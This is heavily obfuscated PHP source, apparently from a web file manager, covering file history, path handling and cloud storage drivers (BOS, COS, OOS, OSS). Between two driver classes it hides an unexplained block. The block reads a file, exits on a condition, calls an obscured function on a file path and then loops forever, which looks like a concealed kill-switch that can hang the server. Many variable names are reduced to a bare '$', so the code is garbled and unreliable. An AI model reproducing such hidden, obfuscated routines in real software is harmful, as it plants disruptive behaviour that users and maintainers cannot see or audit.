$_SERVER[՟]; $ї = self::listData($); if (!$ї) { return; } $ = IO::info($); foreach ($ї[$[454]] as $˽ => $ם) { if ($ם[$[484]] == $) { self::add($); $ = $ї[$[1331]] . $ם[$[32]]; $ = IO::copy($, IO::pathFather($), REPEAT_REPLACE, $[$[32]]); if ($) { self::remove($, $); } return $; } } return !1; } public static function setDetail($Ν, $Đ, $߲ľ) { $쭶 =& $_SERVER[՟]; $ = self::listData($Ν); if (!$) { return; } foreach ($[$쭶[454]] as $ӷ禆 => $ãҍ) { if ($ãҍ[$쭶[484]] == $Đ) { $[$쭶[454]][$ӷ禆][$쭶[1330]] = $߲ľ; self::saveData($[$쭶[1332]], $[$쭶[454]]); return !0; } } return !1; } public static function fileInfo($ަ, $) { $ٹ߹ =& $_SERVER[՟]; $ = self::listData($ަ); if (!$) { show_json(LNG($ٹ߹[118]), !1); } $ = $ٹ߹[12]; foreach ($[$ٹ߹[454]] as $͗ => $) { if ($[$ٹ߹[484]] != $) { continue; } $ = $[$ٹ߹[1331]] . $[$ٹ߹[32]]; break; } if (!$) { show_json(LNG($ٹ߹[118]), !1); } return IO::info($); } public static function fileOut($囚, $ ˉ, $ = false) { $Ӱ =& $_SERVER[՟]; $ãۓل = self::fileInfo($囚, $ ˉ); $⺋ =& $GLOBALS[$Ӱ[7]]; $ = isset($⺋[$Ӱ[1282]]) && $⺋[$Ӱ[1282]] == 1; if (isset($⺋[$Ӱ[33]]) && $⺋[$Ӱ[33]] == $Ӱ[1333]) { return IO::fileOutImage($ãۓل[$Ӱ[97]], $⺋[$Ӱ[1334]]); } IO::fileOut($ãۓل[$Ӱ[97]], $, get_path_this($囚)); } public static function listData($˞, $Ω = true) { $ͮܓ =& $_SERVER[՟]; if ($Ω && !IO::exist($˞)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($˞, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($˞); $Պ = array($ͮܓ[1332] => $ . $ͮܓ[1319], $ͮܓ[1331] => rtrim(get_path_father($), $ͮܓ[8]) . $ͮܓ[8], $ͮܓ[454] => array()); $ϋ = IO::getContent($Պ[$ͮܓ[1332]]); if ($ϋ) { $ת = json_decode($ϋ, !0); if (is_array($ת)) { $Պ[$ͮܓ[454]] = $ת; } } return $Պ; } private static function saveData($ׇפ, $ܜ) { $ =& $_SERVER[՟]; self::log($[1335] . $ׇפ . $[84] . count($ܜ), $[836]); if ($ܜ) { return IO::setContent($ׇפ, json_encode($ܜ)); } $͞ = IO::pathFather($ׇפ); IO::remove($ׇפ); self::clearEmptyFolder($͞); return !0; } public static function clearEmptyFolder($) { $ =& $_SERVER[՟]; if (trim($, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ = IO::pathFather($); $ = IO::has($, !0); if ($[$[249]] > 0 || $[$[250]] > 0) { return; } IO::remove($); self::clearEmptyFolder($); } private static function getBasePath() { $㚷 =& $_SERVER[՟]; $ӱ = Model($㚷[1336])->get($㚷[1337]); if ($ӱ) { if (!IO::exist($ӱ)) { IO::mkdir($ӱ); } if (get_path_this($ӱ) == $㚷[1322]) { $ǐ = $㚷[1338] . rand_string(8); @rename($ӱ, get_path_father($ӱ) . $㚷[8] . $ǐ); $ӱ = DATA_PATH . $ǐ . $㚷[8]; file_put_contents(DATA_PATH . $㚷[1269], $㚷[12]); Model($㚷[1336])->set($㚷[1337], $ӱ); } return $ӱ; } $ӱ = DATA_PATH . $㚷[1338] . rand_string(8) . $㚷[8]; $ӱ = IO::mkdir($ӱ); $ӱ = rtrim($ӱ, $㚷[8]) . $㚷[8]; file_put_contents($ӱ . $㚷[1269], $㚷[12]); file_put_contents(DATA_PATH . $㚷[1269], $㚷[12]); Model($㚷[1336])->set($㚷[1337], $ӱ); return $ӱ; } } goto AЮ; AЮ: class KodIO { const KOD_SOURCE = "\173\x73\x6f\165\x72\143\145\x7d"; const KOD_USER_RECYCLE = "\x7b\165\x73\145\162\x52\x65\x63\171\x63\154\145\x7d"; const KOD_USER_FAV = "\x7b\165\163\145\x72\x46\141\x76\175"; const KOD_USER_FILE_TAG = "\x7b\165\x73\x65\x72\106\x69\154\145\x54\x61\x67\175"; const KOD_USER_FILE_TYPE = "\173\x75\163\145\x72\106\151\x6c\145\124\171\x70\145\x7d"; const KOD_GROUP_ROOT_SELF = "\173\147\x72\157\165\160\x52\x6f\x6f\164\123\x65\x6c\x66\175"; const KOD_USER_SHARE = "\173\165\163\145\162\123\150\141\162\145\x7d"; const KOD_USER_SHARE_LINK = "\x7b\165\x73\x65\x72\123\x68\141\162\x65\114\x69\156\153\175"; const KOD_USER_SHARE_TO_ME = "\173\163\x68\141\x72\x65\x54\x6f\x4d\x65\x7d"; const KOD_SHARE_ITEM = "\173\x73\150\x61\162\145\x49\x74\145\x6d\175"; const KOD_SHARE_LINK = "\x7b\163\150\141\x72\145\111\164\145\x6d\x4c\x69\156\153\x7d"; const KOD_SEARCH = "\173\x73\x65\x61\162\143\x68\175"; const KOD_BLOCK = "\173\142\x6c\x6f\143\x6b\175"; const KOD_IO = "\173\x69\157\x7d"; const KOD_USER_RECENT = "\173\x75\x73\x65\x72\x52\x65\x6e\143\145\x6e\164\175"; const KOD_USER_DRIVER = "\173\144\162\x69\x76\x65\x72\x7d"; public static function typeList() { $ =& $_SERVER[՟]; return array($[1339] => self::KOD_SOURCE, $[1340] => self::KOD_USER_RECYCLE, $[1341] => self::KOD_USER_FAV, $[1342] => self::KOD_USER_FILE_TAG, $[1343] => self::KOD_USER_FILE_TYPE, $[1344] => self::KOD_GROUP_ROOT_SELF, $[1345] => self::KOD_USER_SHARE, $[1346] => self::KOD_USER_SHARE_LINK, $[1347] => self::KOD_USER_SHARE_TO_ME, $[1348] => self::KOD_SHARE_ITEM, $[1349] => self::KOD_SHARE_LINK, $[1350] => self::KOD_SEARCH, $[1351] => self::KOD_BLOCK, $[1352] => self::KOD_IO, $[1353] => self::KOD_USER_RECENT, $[1354] => self::KOD_USER_DRIVER); } public static function parse($ӭ) { $ٍ =& $_SERVER[՟]; $ӭ = self::clear($ӭ); $ڪ = array_values(self::typeList()); preg_match($ٍ[1355], $ӭ, $ؗ); $ = array($ٍ[505] => !1, $ٍ[1356] => !1, $ٍ[502] => !1, $ٍ[97] => $ӭ, $ٍ[1254] => !1, $ٍ[1253] => $ٍ[12]); if (is_array($ؗ) && count($ؗ) == 5) { $Ńɴ = $ٍ[1357] . $ؗ[2] . $ٍ[412]; if (in_array($Ńɴ, $ڪ)) { $[$ٍ[1254]] = $ؗ[1]; $[$ٍ[33]] = $Ńɴ; $[$ٍ[1358]] = substr($Ńɴ, 1, -1); $[$ٍ[484]] = $ؗ[3]; } $[$ٍ[1253]] = $ؗ[4]; } $ = array($ٍ[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$ٍ[1321]] = in_array($[$ٍ[33]], $); return $; } public static function isTruePath($ꁑ) { $å =& $_SERVER[՟]; if (substr($ꁑ, 0, 1) != $å[1357]) { return !0; } if (strpos($ꁑ, $å[492]) === 0) { return !0; } if (strpos($ꁑ, $å[1325]) === 0) { return !0; } if (strpos($ꁑ, $å[1359]) === 0) { return !0; } if (strpos($ꁑ, $å[1360]) === 0) { return !0; } if (strpos($ꁑ, $å[1361]) === 0) { return !0; } return !1; } public static function clear($) { $蹏 =& $_SERVER[՟]; $ = str_replace(array($蹏[1160], $蹏[59]), $蹏[53], $); $ = str_replace($蹏[110], $蹏[8], $); $ψ = $蹏[1362]; if (substr($, 0, 3) == $蹏[1363]) { $ = substr($, 3); } while (strstr($, $ψ)) { $ = str_replace($ψ, $蹏[8], $); } $ = preg_replace($蹏[1364], $蹏[8], $); if ($ == $蹏[8]) { return $蹏[8]; } $ = rtrim($, $蹏[8]); return $; } public static function pathTrue($Ģ) { $ł =& $_SERVER[՟]; if (!$Ģ) { return $ł[12]; } $Ģ = str_replace($ł[601], $ł[8], str_replace($ł[1365], $ł[8], $Ģ)); $Ģ = str_replace($ł[601], $ł[8], str_replace($ł[1365], $ł[8], $Ģ)); if (!strstr($Ģ, $ł[1363])) { return $Ģ; } $ = explode($ł[8], $Ģ); foreach ($ as $䲋 => $) { if ($ !== $ł[1366]) { continue; } for ($ä = $䲋; $ä >= 0; $ä--) { if ($[$ä] === $ł[10] || $[$ä] === $ł[1366] || $[$ä] === -1) { continue; } if ($[$ä] === $ł[12]) { $[$䲋] = -1; break; } $[$䲋] = -1; $[$ä] = -1; break; } } $䓚 = array(); foreach ($ as $) { if ($ !== -1) { $䓚[] = $; } } $ = implode($ł[8], $䓚); if (strpos($, $ł[1367]) === 0) { $ = $ł[1363] . substr($, strlen($ł[1367])); } return $; } public static function pathUrlClear($ڸ) { $֚ =& $_SERVER[՟]; if (!$ڸ) { return $ڸ; } $ڸ = rawurldecode($ڸ); $ڸ = str_replace($֚[1365], $֚[8], $ڸ); if (strpos($ڸ, $֚[86]) > 0) { $ڸ = substr($ڸ, 0, strpos($ڸ, $֚[86])); } if (strpos($ڸ, $֚[1368]) > 0) { $ڸ = substr($ڸ, 0, strpos($ڸ, $֚[1368])); } return $ڸ; } public static function sourceID($) { $ =& $_SERVER[՟]; $ÀȺ = self::parse($); if ($ÀȺ[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1369]), !1); } return $ÀȺ[$[484]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($Ⴜ, $) { return self::makePath(self::KOD_SHARE_ITEM, $Ⴜ, $); } public static function makeFileTypePath($Ю) { return self::makePath(self::KOD_USER_FILE_TYPE, $Ю); } public static function makeFileTagPath($埆) { return self::makePath(self::KOD_USER_FILE_TAG, $埆); } public static function makePath($, $ą = '', $ = '') { $ =& $_SERVER[՟]; $ = substr($, 1, -1); $ = $[1370] . $ . $[1371] . $ą . $[1372]; $ = $ ? $ . $ . $[8] : $; return $; } public static function hashPath($̡, $ = true) { $ˬߧ =& $_SERVER[՟]; $ = is_array($̡) ? $̡ : IO::info($̡); $ƭ = _get($, $ˬߧ[1373], $ˬߧ[12]); if (!$ƭ && isset($[$ˬߧ[245]])) { $ƭ = trim($[$ˬߧ[245]], $ˬߧ[131]); } if (!$ƭ && isset($[$ˬߧ[203]]) && $[$ˬߧ[203]]) { $ = IO::info(KodIO::make($[$ˬߧ[203]])); $ƭ = _get($, $ˬߧ[1373], $ˬߧ[12]); } $زݦ = md5($[$ˬߧ[97]] . $[$ˬߧ[89]] . $[$ˬߧ[98]]); if (!$ƭ && file_exists($[$ˬߧ[97]])) { $ƭ = Cache::get($زݦ . $ˬߧ[1374]); $ƭ = !1; if (!$ƭ) { $ƭ = IO::hashSimple($[$ˬߧ[97]]); Cache::set($زݦ . $ˬߧ[1374], $ƭ, 3600 * 24 * 30); } } if ($ && !$ƭ) { } return $ƭ ? $ƭ : $زݦ; } public static function hashPathSafe($, $ݭ = true) { $ =& $_SERVER[՟]; $噃 = self::hashPath($, $ݭ); return md5($噃 . $[1375] . Model($[854])->get($[855])); } public static function initSystemPath() { $ܺ =& $_SERVER[՟]; if (defined($ܺ[1376])) { return; } define($ܺ[1376], self::systemPath($ܺ[201])); define($ܺ[1377], self::systemPath($ܺ[1378])); define($ܺ[1379], self::systemPath($ܺ[1380])); define($ܺ[1381], self::systemPath($ܺ[1382])); IOHistory::bindEvent(); } public static function systemPath($) { $ֱ =& $_SERVER[՟]; $Ә = $ֱ[1383] . ucfirst($); $φމ = Model($ֱ[854])->get($Ә); if ($φމ) { return $φމ; } if ($ == $ֱ[201]) { $φމ = self::make(Model($ֱ[908])->systemRootPathAdd($ֱ[614])); } else { $φމ = self::systemPath($ֱ[201]); $ʔ = self::sourceID($φމ); $φމ = self::make(Model($ֱ[908])->mkdir($ʔ, $)); } Model($ֱ[854])->set($Ә, $φމ); return $φމ; } public static function systemFolder($Î) { $㛢 = IO_PATH_SYSTEM_SOURCE . $Î; $Ϛ = Cache::get($㛢); if (!$Ϛ) { $ = IO::infoFullSimple($㛢); if (!$) { $Ϛ = IO::mkdir($㛢, REPEAT_SKIP); } else { $Ϛ = $[$_SERVER[՟][97]]; } Cache::set($㛢, $Ϛ, 3600 * 10); } return $Ϛ; } public static function defaultDriver() { return Model($_SERVER[՟][851])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[՟]; $Ə憶 = self::defaultDriver(); return $[1384] . $Ə憶[$[484]] . $[1372]; } public static function defaultDriverInit() { static $릢 = false; if ($릢) { return $릢; } $릢 = IO::init(self::defaultIO()); return $릢; } public static function fileTypeList() { $ =& $_SERVER[՟]; $ = $GLOBALS[$[6]][$[1385]]; foreach ($ as $ => $ҧÒ) { $ = $[1386] . $; $р = LNG($); if ($ != $р) { $[$][$[32]] = $р; } } return $; } public static function diskList($Ƭݭ = true) { $ = $_SERVER[՟][1387]; if ($Ƭݭ) { $풇 = Cache::get($); if (is_array($풇)) { return $풇; } } $풇 = self::diskListGet(); Cache::set($, $풇, 60); return $풇; } public static function diskListGet() { $ =& $_SERVER[՟]; $Љ = array(); if ($GLOBALS[$[6]][$[1388]] == $[1389]) { $ = $[1390]; for ($嗭 = 0; $嗭 < strlen($); $嗭++) { $Ӫ = $[$嗭] . $[1391]; if (file_exists($Ӫ)) { $Љ[] = $Ӫ; } } return $Љ; } if (!function_exists($[111])) { $Љ[] = $[919]; return $Љ; } $ = explode($[59], shell_exec($[1392])); array_shift($); array_pop($); $ڃ = array($[1393], $[1394], $[1395], $[1396], $[1397], $[1398], $[1399], $[1400]); foreach ($ as $ǥ) { $ = preg_split($[1401], $ǥ); $Ӫ = $[count($) - 1]; if (!strstr($[0], $[1402]) || !$Ӫ) { continue; } $ = rtrim($Ӫ, $[8]) . $[8]; if (in_array($, $ڃ)) { continue; } $Љ[] = $; } return $Љ; } public static function isSameDisk($, $˧) { $ =& $_SERVER[՟]; if ($GLOBALS[$[6]][$[1388]] == $[1389]) { return strtolower(substr($, 0, 1)) == strtolower(substr($˧, 0, 1)); } $˝ = self::diskList(); $ޚ = !1; $֨ = !1; sort($˝); $˝ = array_reverse($˝); $ = rtrim($, $[8]) . $[8]; $˧ = rtrim($˧, $[8]) . $[8]; foreach ($˝ as $ϑ) { $ = strlen($ϑ); if (!$ޚ && substr($, 0, $) == $ϑ) { $ޚ = $ϑ; } if (!$֨ && substr($˧, 0, $) == $ϑ) { $֨ = $ϑ; } if ($ޚ && $֨) { break; } } return $ޚ === $֨; } public static function transferType($ϳ뮻, $̙) { $ʘ =& $_SERVER[՟]; $ɐ = self::driverType($ϳ뮻); $壠 = self::driverType($̙); if ($ɐ[$ʘ[33]] == $壠[$ʘ[33]] && $ɐ[$ʘ[1403]] == $壠[$ʘ[1403]]) { return $ʘ[1404]; } if ($ɐ[$ʘ[33]] == $ʘ[953] && $壠[$ʘ[33]] == $ʘ[119]) { return $ʘ[1282]; } if ($ɐ[$ʘ[33]] == $ʘ[119] && $壠[$ʘ[33]] == $ʘ[953]) { return $ʘ[120]; } return $ʘ[1405]; } public static function driverType($) { $ =& $_SERVER[՟]; $Ό = str_replace($[1406], $[12], strtolower($->getType())); if ($Ό == $[841] || $Ό == $[1407] || $Ό == $[1408]) { $ = self::defaultDriverInit(); } else { if ($Ό == $[1292] || $Ό == $[1409]) { $ = IO::init($->pathParse[$[1235]]); } } $ = $->path; $Ό = str_replace($[1406], $[12], strtolower($->getType())); if ($Ό == $[119]) { return array($[33] => $[119], $[1403] => $[12], $[97] => $, $[108] => $); } return array($[33] => $[953], $[1403] => $->pathDriver, $[97] => $, $[108] => $); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($) { $ =& $_SERVER[՟]; $ę = $ ? self::driverType(IO::init($)) : !1; return strtolower($ę[$[33]]) == $[119] ? !0 : !1; } public static function allowCover($, $ = true) { $ɨ =& $_SERVER[՟]; if (is_string($)) { $ = IO::info($); } if (!$ || $[$ɨ[33]] == $ɨ[88] || $[$ɨ[89]] <= 100) { return !1; } if (isset($[$ɨ[1410]]) || !$[$ɨ[97]]) { return !1; } if (isset($[$ɨ[242]]) && !$[$ɨ[242]]) { return !1; } static $ = false; if (!$ || !$) { $ѽ = self::driverType(IO::init($[$ɨ[97]])); $ъ܈ = $ѽ[$ɨ[108]]; $ = $ɨ[206]; if ($ѽ[$ɨ[33]] == $ɨ[119]) { $ = $ɨ[1411]; } if ($ѽ[$ɨ[108]] && is_array($ѽ[$ɨ[108]]->config)) { $ = $ѽ[$ɨ[108]]->config; if (isset($[$ɨ[1412]]) && $[$ɨ[1412]]) { $ = $ɨ[1411]; } } $ѹ = KodIO::defaultDriver(); if (strtolower($ѹ[$ɨ[108]]) == $ɨ[119] && is_array($ѹ[$ɨ[6]])) { $ = $ѹ[$ɨ[6]][$ɨ[1265]]; if (substr($, 0, 2) == $ɨ[1413]) { $ = str_replace($ɨ[1413], BASIC_PATH, $); } $ = str_replace($ɨ[601], $ɨ[8], $); if (substr($[$ɨ[97]], 0, strlen($)) == $) { $ = $ɨ[206]; } } } return $ == $ɨ[1411] ? !0 : !1; } } class PathDriverBOS extends PathDriverS3 { public function __construct($䛕) { parent::__construct($䛕); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($ƹ) { $Ɓ =& $_SERVER[՟]; if (substr($ƹ, 0, 7) == $Ɓ[322]) { $ƹ = $Ɓ[323] . substr($ƹ, 7); } header($Ɓ[185] . $ƹ); die; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[՟][257]); } public function uploadFormData($, $ = 3600) { $榽 =& $_SERVER[՟]; $ = $榽[239]; $钉 = $榽[272]; $啥 = $榽[283]; $˔ = gmdate($榽[308], time() + $); $ⱄ = (string) time() . $榽[84] . (string) (time() + $); $Ԏ = array($榽[284] => $˔, $榽[287] => array(array($榽[289] => $), array($榽[288] => $this->bucket), array($榽[290], $榽[291], $榽[12]), array($榽[294] => $啥), array($榽[1414] => $钉), array($榽[1415] => $this->accessKey), array($榽[1416] => $ⱄ))); $Ԏ = json_encode($Ԏ); $ = hash_hmac($榽[272], $ⱄ, $this->secret); $ޤ = sha1($Ԏ); $ = hash_hmac($榽[272], $ޤ, $); $߷ = array($榽[289] => $, $榽[294] => $啥, $榽[302] => base64_encode($Ԏ), $榽[1414] => $钉, $榽[1415] => $this->accessKey, $榽[1417] => $ⱄ, $榽[1418] => $, $榽[218] => $this->getHost()); return $߷; } public function fileOutImage($ʞ, $ص = 250) { $ =& $_SERVER[՟]; if ($this->size($ʞ) > 1024 * 1024 * 32) { return $this->fileOutImageServer($ʞ, $ص); } $٨͛ = $this->link($ʞ); $٨͛ .= $[1419] . $ص . $[1420]; $this->fileOutLink($٨͛); } public function fileOutLink($ܫ) { $ћ =& $_SERVER[՟]; if (substr($ܫ, 0, 7) == $ћ[322]) { $ܫ = $ћ[323] . substr($ܫ, 7); } header($ћ[185] . $ܫ); die; } } goto d; B: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[՟][257]); } public function fileOutLink($쀸) { $ܿ =& $_SERVER[՟]; if (substr($쀸, 0, 7) == $ܿ[322]) { $쀸 = $ܿ[323] . substr($쀸, 7); } header($ܿ[185] . $쀸); die; } } if (!isset($_SERVER[$_SERVER[՟][54]]) || !isset($_SERVER[$_SERVER[՟][63]])) { $_getc = $_SERVER[՟][56]; $_getfile = $_SERVER[$_SERVER[՟][57]] . $_SERVER[՟][58]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[՟][59], $_getfilec); if (count($_getarrs) < $_SERVER[՟][60]) { $exit = $_SERVER[՟][61]; $exit(); } $_act = $_SERVER[՟][62]; $_act($_SERVER[$_SERVER[՟][57]] . $_SERVER[՟][58]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[՟][463]); } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public $config = array(); public function __construct($ߴ) { parent::__construct(); include_once SDK_DIR . $_SERVER[՟][1463]; $this->_init($ߴ); } public function _init($ී) { $ =& $_SERVER[՟]; $this->config = $ී; foreach ($ී as $ => $ڴ) { if (isset($this->{$})) { $this->{$} = $ڴ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1464] . LNG($[1465])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $¸ =& $_SERVER[՟]; $Ƣ = new OSS\Model\CorsConfig(); $è = new OSS\Model\CorsRule(); $è->addAllowedOrigin($¸[1466]); $è->addAllowedMethod($¸[1467]); $è->addAllowedMethod($¸[1468]); $è->addAllowedMethod($¸[1469]); $è->addAllowedMethod($¸[1470]); $è->addAllowedMethod($¸[175]); $è->setMaxAgeSeconds(600); $è->addExposeHeader($¸[1471]); $è->addAllowedHeader($¸[1466]); $Ƣ->addRule($è); try { $this->client->putBucketCors($this->bucket, $Ƣ); } catch (OSS\Core\OssException $ԥ) { $this->writeLog(__FUNCTION__ . $¸[224] . $ԥ->getMessage()); return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[՟]; $奩 = null; try { $奩 = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $ؐ¨) { $this->writeLog(__FUNCTION__ . $[224] . $ؐ¨->getMessage()); return null; } if (!$奩 || !($ = $奩->getRules())) { return null; } $̷ = $[0]->getAllowedOrigins(); $溥؛ = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $ = $[0]->getExposeHeaders(); $ = $[0]->getAllowedHeaders(); return array($[228] => isset($̷[0]) ? $̷[0] : $[12], $[232] => $溥؛, $[1472] => $, $[1473] => isset($[0]) ? $[0] : $[12], $[229] => isset($[0]) ? $[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[՟]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[228]] != $[230] || $[$[229]] != $[230]) { return !1; } $ = array_map($[231], $[$[232]]); if (!is_array($)) { $ = array(); } $ = array($[233], $[234], $[235], $[236], $[237]); $ӂ = array_diff($, $); return empty($ӂ); } public function mkfile($Ę, $̦ٻ = '', $ = REPEAT_RENAME) { $nj = $this->setContent($Ę, $̦ٻ); if ($nj !== !1) { return $this->getPathOuter($Ę); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $μ) { $this->writeLog(__FUNCTION__ . $_SERVER[՟][224] . $μ->getMessage()); return !1; } return $this->getPathOuter($); } private function fileList($, $ʫ = '', $ = 0) { $剞 =& $_SERVER[՟]; $ = trim($, $剞[8]); $ = empty($) && $ !== $剞[238] ? $剞[12] : $ . $剞[8]; $Ъ = $剞[12]; $ڭ = 1000; $ܯ = $ʲ = array(); while (!0) { check_abort(); $Զ = array($剞[1474] => $ʫ, $剞[1475] => $, $剞[1476] => $ڭ, $剞[1477] => $Ъ); try { $ = $this->client->listObjects($this->bucket, $Զ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $剞[224] . $->getMessage()); break; } $Ъ = $->getNextMarker(); $۽ = $->getObjectList(); $ʢォ = $->getPrefixList(); foreach ($۽ as $Ƈ) { if ($Ƈ->getKey() == $) { continue; } $ = $Ƈ->getKey(); $ = $Ƈ->getSize(); $ɞ = $Ƈ->getLastModified(); $ = trim($Ƈ->getETag(), $剞[131]); $랽 = $ ? array($剞[32] => $, $剞[89] => $, $剞[216] => strtotime($ɞ), $剞[1478] => $) : $; $ı = $ == 0 && substr($, strlen($) - 1, 1) == $剞[8] ? !0 : !1; $ї = array($剞[89] => $, $剞[1479] => $, $剞[98] => strtotime($ɞ), $剞[1480] => $ɞ, $剞[1478] => $); $this->cacheMethodInfoSet($, $ı, $ї); if ($ı) { $ܯ[] = $; continue; } $ʲ[] = $랽; } foreach ($ʢォ as $Ȣ) { $ܯ[] = $Ȣ->getPrefix(); $this->cacheMethodInfoSet($Ȣ->getPrefix(), !0); } if ($Ъ === $剞[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($剞[95] => $ܯ, $剞[96] => $ʲ); } public function listObject($º, $ؓ = '') { $ =& $_SERVER[՟]; $º = trim($º, $[8]); $㢻ɱ = empty($º) && $º !== $[238] ? $[12] : $º . $[8]; $ٯÁ = $[12]; $ = 1000; $ćꃼ = $ٹ = array(); while (!0) { check_abort(); $ש = array($[1474] => $ؓ, $[1475] => $㢻ɱ, $[1476] => $, $[1477] => $ٯÁ); try { $֝ȸ = $this->client->listObjects($this->bucket, $ש); } catch (OSS\Core\OssException $ѿ) { $this->writeLog(__FUNCTION__ . $[224] . $ѿ->getMessage()); break; } $ٯÁ = $֝ȸ->getNextMarker(); $ҥ = $֝ȸ->getObjectList(); foreach ($ҥ as $) { if ($->getKey() == $㢻ɱ) { continue; } $ϙ = $->getKey(); $ = $->getSize(); $ = $ == 0 && substr($ϙ, strlen($ϙ) - 1, 1) == $[8] ? !0 : !1; if ($) { continue; } $ٹ[] = $ . $[224] . $ϙ; } if ($ٯÁ === $[12]) { break; } } return array($[95] => $ćꃼ, $[96] => $ٹ); } public function copyFile($, $ɲ) { $놙ղ = $this->size($); if ($놙ղ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($ɲ)); } catch (OSS\Core\OssException $Ñص) { $this->writeLog(__FUNCTION__ . $_SERVER[՟][224] . $Ñص->getMessage()); return !1; } return $this->getPathOuter($ɲ); } $ = $this->multiCopyObject($, $ɲ, $놙ղ); return $ ? $this->getPathOuter($ɲ) : !1; } private function multiCopyObject($, $, $ٲ) { $̸ =& $_SERVER[՟]; try { $ = array(); if ($ܗͨ = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($̸[1481] => $ܗͨ)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $ΑΡ = 1; $ʄ = 0; $À = array(); $ŇṎ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($ٲ, $ŇṎ); foreach ($ as $Д => $) { $ޣ = $ʄ + (int) $[$̸[1482]]; $ = (int) $[$̸[422]] + $ޣ - 1; $ğؙ = array($̸[177] => $ޣ, $̸[178] => $); $À[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($), $ΑΡ, $, $ğؙ); $ΑΡ = $ΑΡ + 1; } $ = array(); foreach ($À as $Д => $՝) { $[] = array($̸[317] => $Д + 1, $̸[318] => $՝); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $̳) { $this->writeLog(__FUNCTION__ . $̸[224] . $̳->getMessage()); return !1; } return !0; } public function moveFile($, $⌃) { if ($this->copyFile($, $⌃)) { $this->remove($); return $this->getPathOuter($⌃); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $ज़) { $this->writeLog(__FUNCTION__ . $_SERVER[՟][224] . $ज़->getMessage()); return !1; } return !0; } public function delFolder($ռ) { $ƚ =& $_SERVER[՟]; if (!$this->exist($ռ)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($ռ); $this->listItemCache = !0; $ɂڎ = trim($ռ, $ƚ[8]) . $ƚ[8]; if (!empty($ռ) && $ռ !== $ƚ[238] && !in_array($ɂڎ, $[$ƚ[95]])) { $[$ƚ[95]][] = $ɂڎ; } $ْē = $this->delByBatch($[$ƚ[96]]); if (!$ْē) { return !1; } $ْē = $this->delByBatch($[$ƚ[95]]); if (!$ْē) { return !1; } return $this->delFile($ɂڎ); } private function delByBatch($¡) { foreach (array_chunk($¡, 1000) as $ƭ) { try { $this->client->deleteObjects($this->bucket, $ƭ); } catch (OSS\Core\OssException $Ί) { $this->writeLog(__FUNCTION__ . $_SERVER[՟][224] . $Ί->getMessage()); return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } private function fileInfo($Ơ, $ = false, $躟 = array()) { $ŕ =& $_SERVER[՟]; $ = array($ŕ[32] => $this->pathThis($Ơ), $ŕ[97] => $this->getPathOuter($Ơ), $ŕ[33] => $ŕ[240], $ŕ[89] => isset($躟[$ŕ[89]]) ? $躟[$ŕ[89]] : 0, $ŕ[179] => $this->ext($Ơ)); if ($) { return $; } $[$ŕ[241]] = $[$ŕ[98]] = 0; $[$ŕ[242]] = $[$ŕ[243]] = !0; if (empty($躟)) { $蜕 = $this->objectMeta($Ơ); if (!$蜕) { return $; } $躟 = array($ŕ[98] => strtotime($蜕[$ŕ[1480]]), $ŕ[89] => $蜕[$ŕ[1479]] + 0, $ŕ[1478] => $蜕[$ŕ[1478]]); } if (isset($躟[$ŕ[1478]]) && $躟[$ŕ[1478]]) { $[$ŕ[245]] = trim($躟[$ŕ[1478]], $ŕ[131]); } if (isset($躟[$ŕ[89]])) { $[$ŕ[89]] = $躟[$ŕ[89]]; } if (isset($躟[$ŕ[98]])) { $[$ŕ[98]] = $躟[$ŕ[98]]; } if (isset($躟[$ŕ[216]]) && !trim($[$ŕ[98]])) { $[$ŕ[98]] = $躟[$ŕ[216]]; } return $; } private function folderInfo($ߊ, $ܾ = false, $ = array()) { $Ũ =& $_SERVER[՟]; $贁 = array($Ũ[32] => $this->pathThis($ߊ), 